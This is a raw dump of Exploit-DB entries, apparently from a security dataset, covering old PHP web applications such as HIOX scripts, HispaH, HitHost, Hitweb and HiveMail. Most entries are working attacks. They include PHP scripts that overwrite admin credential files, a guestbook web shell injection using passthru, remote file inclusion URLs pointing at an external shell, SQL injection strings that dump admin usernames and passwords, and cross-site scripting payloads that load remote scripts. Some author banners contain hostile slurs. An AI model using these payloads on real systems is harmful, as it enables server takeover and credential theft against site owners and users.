deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6168
Description: HIOX Browser Statistics 2.0 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-07-30
Author: Stack

Exploit:
<?php
@session_start();
?>
<table align=center width=72% height=95% ><tr><td>
<?php
/*
HIOX Browser Statistics 2.0 Arbitrary Add Admin User Vulnerability  
[~] Discoverd & exploited by Stack
[~]Greeatz All Freaind
[~]Special thnx to Str0ke
 [~] Name Script : HIOX Browser Statistics 2.0
[~] Download : http://www.hscripts.com/scripts/php/downloads/HBS_2_0.zip
You need to change http://localhost/path/ with the link of script it's very importent
*/
$creat = "true";
$iswrite = $_POST['createe'];
if($user=="" && $pass==""){
if($iswrite == "creatuser")
{
    $usname = $_POST['usernam'];
    $passwrd = md5($_POST['pword']);
    if($usname != "" && $passwrd != ""){
 $filee = "http://localhost/path/admin/passwo.php";
 $file1 = file($filee);
        $file = fopen($filee,'w');
        fwrite($file, "<?php \n");
        fwrite($file, "$");
        fwrite($file, "user=\"$usname\";\n");
        fwrite($file, "$");
        fwrite($file, "pass=\"$passwrd\";");
        fwrite($file, "\n?>");
        fclose($file);
    $creat = "false"; 
    echo "<div align=center style='color: green;'><b>New User Created
  <meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
  <br>Please Wait You will be Redirected to Login Page
   </div>";
    }
    else{
        echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
    }
}
if($creat == "true"){
?>
<table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
<tr width=400 height=20><td align=center bgcolor="000000"
style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
 Create New User </td></tr>
     <tr width=400 height=20><td>
        <form name=setf method=POST action=<?php echo $PHP_SELF;?>>
        <table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
        <tr><td>User Name</td><td><input class="ta" name="usernam"  type=text maxlength=20 >
                </td></tr>
        <tr><td>Password</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
        <input name="createe" type=hidden value="creatuser"></td></tr>
        <tr><td></td><td><input type=submit value="create"></td></tr>
        </table>
 </form>
</td></tr></table>
<?php
}
}else{
 echo "<div align=center style='color: red;'><b>User Already Exist</div>";
}
?>
</td></tr></table>

# milw0rm.com [2008-07-30]
Exploit-DB #6162
Description: HIOX Browser Statistics 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-30
Author: Ghost Hacker

Exploit:
####################################################################################################
 HIOX Browser Statistics 2.0 Remote File Inclusion Vulnerability
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################
[~] Found by : Ghost Hacker  - R-H Team -                      |,  .-.  .-.  ,|
[~] My Blog : http://gh0st10.wordpress.com                     | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : HIOX Browser Statistics 2.0
[~] Download : http://www.hscripts.com/scripts/php/downloads/HBS_2_0.zip
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Error (hioxupdate.php + hioxstats.php) :
include "$hm/browser.php";
[~] Exploit :
http://xxxx.com/[path]/hioxupdate.php?hm=Evil_Code
http://xxxx.com/[path]/hioxstats.php?hm=Evil_Code
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Greetz :
Mr.SaFa7 & RoMaNcYxHaCkEr & Night Mare & Root Hacker & Dmar al3noOoz ,
All Members Real Hack & Members Arabs Security And All My Friends ,
####################################################################################################
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################

# milw0rm.com [2008-07-30]
Exploit-DB #3697
Description: HIOX GUEST BOOK (HGB) 4.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-04-10
Author: Dj7xpl

Exploit:
+========================I=R=A=N============================+

                     HGB Version 4.0 

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Author :

Dj7xpl / Dj7xpl[at]Yahoo[dot]com

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Type :

Remote Code Execution Vulnerability

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Product / Vendor :

HIOX FREE Guest Book

http://www.hscripts.com/scripts/php/guestbook.php

=========================I=R=A=N=============================

+========================I=R=A=N============================+

Bug :

[1] Open Target By Browser

[2] Insert Bad Code In Email                           E.g :   <?php passthru($_GET[cmd]);?>@yahoo.com

[3] See Bad C0de   :  http://[Targe]/[Path]/gb.php     E.g   :  http://dj7xpl.ir/hgb/gb.php?cmd=dir

=========================I=R=A=N=============================

#Iran_e Sarbolande Man Sarboland Mimanad
#Sp Tnx : str0ke

# milw0rm.com [2007-04-10]
Exploit-DB #6166
Description: HIOX Random Ad 1.3 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-07-30
Author: Stack

Exploit:
<?php
@session_start();
?>
<table align=center width=72% height=95% ><tr><td>
<?php
/*
HIOX Random Ad 1.3 Arbitrary Add Admin User Vulnerability
[~] Discoverd & exploited by Stack
[~]Greeatz All Freaind
[~]Special thnx to Str0ke
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
You need to change http://localhost/path/ with the link of script it's very importenet
*/
$creat = "true";
$iswrite = $_POST['createe'];
if($user=="" && $pass==""){
if($iswrite == "creatuser")
{
    $usname = $_POST['usernam'];
    $passwrd = md5($_POST['pword']);
    if($usname != "" && $passwrd != ""){
 $filee = "http://localhost/path/admin/passwo.php";
 $file1 = file($filee);
        $file = fopen($filee,'w');
        fwrite($file, "<?php \n");
        fwrite($file, "$");
        fwrite($file, "user=\"$usname\";\n");
        fwrite($file, "$");
        fwrite($file, "pass=\"$passwrd\";");
        fwrite($file, "\n?>");
        fclose($file);
    $creat = "false"; 
    echo "<div align=center style='color: green;'><b>New User Created
  <meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
  <br>Please Wait You will be Redirected to Login Page
   </div>";
    }
    else{
        echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
    }
}
if($creat == "true"){
?>
<table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
<tr width=400 height=20><td align=center bgcolor="000000"
style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
 Create New User </td></tr>
     <tr width=400 height=20><td>
        <form name=setf method=POST action=<?php echo $PHP_SELF;?>>
        <table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
        <tr><td>User Name</td><td><input class="ta" name="usernam"  type=text maxlength=20 >
                </td></tr>
        <tr><td>Password</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
        <input name="createe" type=hidden value="creatuser"></td></tr>
        <tr><td></td><td><input type=submit value="create"></td></tr>
        </table>
 </form>
</td></tr></table>
<?php
}
}else{
 echo "<div align=center style='color: red;'><b>User Already Exist</div>";
}
?>
</td></tr></table>

# milw0rm.com [2008-07-30]
Exploit-DB #6161
Description: HIOX Random Ad 1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-30
Author: Ghost Hacker

Exploit:
####################################################################################################
 HIOX Random Ad 1.3 (hioxRandomAd.php hm) RFI Vulnerability
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################
[~] Found by : Ghost Hacker  - R-H Team -                      |,  .-.  .-.  ,|
[~] My Blog : http://gh0st10.wordpress.com                     | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Error (hioxRandomAd.php) :
include "$hm/admin/props.php";
[~] Exploit :
http://xxxx.com/[path]/hioxRandomAd.php?hm=Evil_Code
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Greetz :
Mr.SaFa7 & Night Mare & Root Hacker & Dmar al3noOoz ,
All Members Real Hack & Members Arabs Security And All My Friends ,
####################################################################################################
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################

# milw0rm.com [2008-07-30]
Exploit-DB #5577
Description: HispaH Model Search - 'cat.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-09
Author: InjEctOr5

Exploit:
############### >>> Remote SQL Injection <<<  ###############
##    Cyb3r-1st                                                              Cyb3r-1st    ##
################## >>> InjEctOr5 TeaM  <<< ################

## author   :  cyb3r-1st
## contact :  t3tto0 [at] yahoo.com
                 cyb3r-1st [at] hotmail.com

## script : model-search
## download : www.hispah.com/demos/models1rock  ::> demo

## dork    : find it
## exploit : http://www.site.me/cat.php?cat=[sql injection]

## example:here u can found an sql exploit :::
## for admin inf0 :::
 www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+admin/*
## for users inf0  :::
 www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+users/*


########### Greetz #############

>>> InjEctOr5 TeaM
>>>my best freinds ::  titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker $ anaconda-ksa $ sirus $ crazy -x  and all freinds
>>> all muslims

# milw0rm.com [2008-05-09]
Exploit-DB #6701
Description: HispaH textlinksads - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-08
Author: InjEctOr5

Exploit:
                         ||          ||   | ||        
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                 ( :   /    (_)    /           (   .  
                  ==================================
                     ============================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script   : textlinksads

<<->> download : www.hispah.com/demos/textlinksads 


=======================================================
++++++++++++++++ pwning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

          <!> for admin inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/index.php?action=buy&idcat=9999999'+union+select+0,concat(username,0x3a,password)+from+admin_detail/*

        <!> for members inf0 ::: 
       >>>>>>>>>>>>>>>>>>>>>>>> www.site.me/index.php?action=buy&idcat=9999999'+union+select+0,concat(username,0x3a,password)+from+reguser/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ sirus $ crazy-x $ spk  and all freinds

<<->> InjEctOr5 TeaM  


<<->> All muslims

# milw0rm.com [2008-10-08]
Exploit-DB #31101
Description: HispaH YouTube Clone - 'load_message.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-04
Author: Smasher

Exploit:
source: https://www.securityfocus.com/bid/27598/info

HispaH Youtube Clone is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the context of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/youtube/siteadmin/editor_files/includes/load_message.php?lang[please_wait]=[XSS]
Exploit-DB #27371
Description: HitHost 1.0 - 'deleteuser.php?user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/17025/info

HitHost is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/admin/deleteuser.php?user=<script%20src=http://www.example.com/xss.js></script>
Exploit-DB #27372
Description: HitHost 1.0 - 'viewuser.php?hits' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/17025/info
 
HitHost is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/admin/viewuser.php?hits=<script%20src=http://www.exmaple.com/xss.js></script>
Exploit-DB #34118
Description: Hitmaaan Gallery 1.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40711/info

Hitmaaan Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hitmaaan Gallery 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/1367_hitmaaan-13/?gall=fonds&levela=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/1367_hitmaaan-13/?gall=<img+src=http://127.0.0.1./Utilisateur.gif+onload=alert[PII_REDACTED]60)>&levela=indoushka@hotmail.com&num_page=1
Exploit-DB #34501
Description: Hitron Soft Answer Me - 'answers.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42558/info

Hitron Soft Answer Me is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Answer Me 1.0 is vulnerable; other versions may be affected. 

http://www.example.com/answers?q_id=1>"><ScRiPt %0D%0A>alert[PII_REDACTED]83)%3B</ScRiPt>
Exploit-DB #28590
Description: Hitweb 3.0 - 'REP_CLASS' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-16
Author: ERNE

Exploit:
source: https://www.securityfocus.com/bid/20060/info

Hitweb is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID is being retired. The specified parameter is defined and cannot contain an attacker-specified value.

Hitweb is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID is being retired. The specified parameter is defined and cannot contain an attacker-specified value.

http://www.example.com/[path]/index.php?REP_CLASS=[shell]
http://www.example.com/[path]/arbo.php?REP_CLASS=[shell]
http://www.example.com/[path]/framepoint.php?REP_CLASS=[shell]
http://www.example.com/[path]/genpage.php?REP_CLASS=[shell]
http://www.example.com/[path]/lienvalider.php?REP_CLASS=[shell]
http://www.example.com/[path]/appreciation.php?REP_CLASS=[shell]
http://www.example.com/[path]/partenariat.php?REP_CLASS=[shell]
http://www.example.com/[path]/rechercher.php?REP_CLASS=[shell]
http://www.example.com/[path]/projet.php?REP_CLASS=[shell]
http://www.example.com/[path]/propoexample.php?REP_CLASS=[shell]
http://www.example.com/[path]/refererpoint.php?REP_CLASS=[shell]
http://www.example.com/[path]/top50.php?REP_CLASS=[shell]
Exploit-DB #2149
Description: Hitweb 4.2.1 - 'REP_INC' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-08
Author: Drago84

Exploit:
Hitweb 4.2 Remote Include File

CreW: ToxiC

Bug Found By Drago84

Sorce Code:
http://freshmeat.net/redir/hitweb/15633/url_tgz/hitweb-4.2_php.tgz

Problem is:
include "$REP_INC/lib_database.php";

Page:
genpage-cgi.php

Path:
Declare $REP_INC

Expl:
http://www.site.com/dir_hitweb/genpage-cgi.php?REP_INC=http://www.evalsite.com/shell.php?

Greatz:Str0ke

# milw0rm.com [2006-08-08]
Exploit-DB #27184
Description: HiveMail 1.2.2/1.3 - 'addressbook.update.php?contactgroupid' Arbitrary PHP Command Execution
Type: webapps
Platform: php
Date: 2006-02-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16591/info

HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.

The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.

The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.

The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http:///www.example.com/addressbook.update.phpcmd=remove&contactgroupid=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con
tactcheck[]=2
Exploit-DB #27185
Description: HiveMail 1.2.2/1.3 - 'folders.update.php?folderid' Arbitrary PHP Command Execution
Type: webapps
Platform: php
Date: 2006-02-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16591/info
 
HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.
 
The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.
 
The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.
 
The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/folders.update.php?cmd=mark&folderid=0%20--%20%22);phpinfo();@ob_start(%22
Exploit-DB #27186
Description: HiveMail 1.2.2/1.3 - 'index.php' $_SERVER['PHP_SELF'] Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16591/info
  
HiveMail is prone to multiple vulnerabilities. These vulnerabilities may allow the execution of arbitrary PHP code, cross-site scripting attacks, and SQL injection.
  
The PHP code-execution issues are the result of an input-validation error that may allow user-supplied PHP code to be evaluated by the interpreter.
  
The cross-site scripting vulnerabilities may permit a remote attacker to steal cookie-based authentication credentials from legitimate users.
  
The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E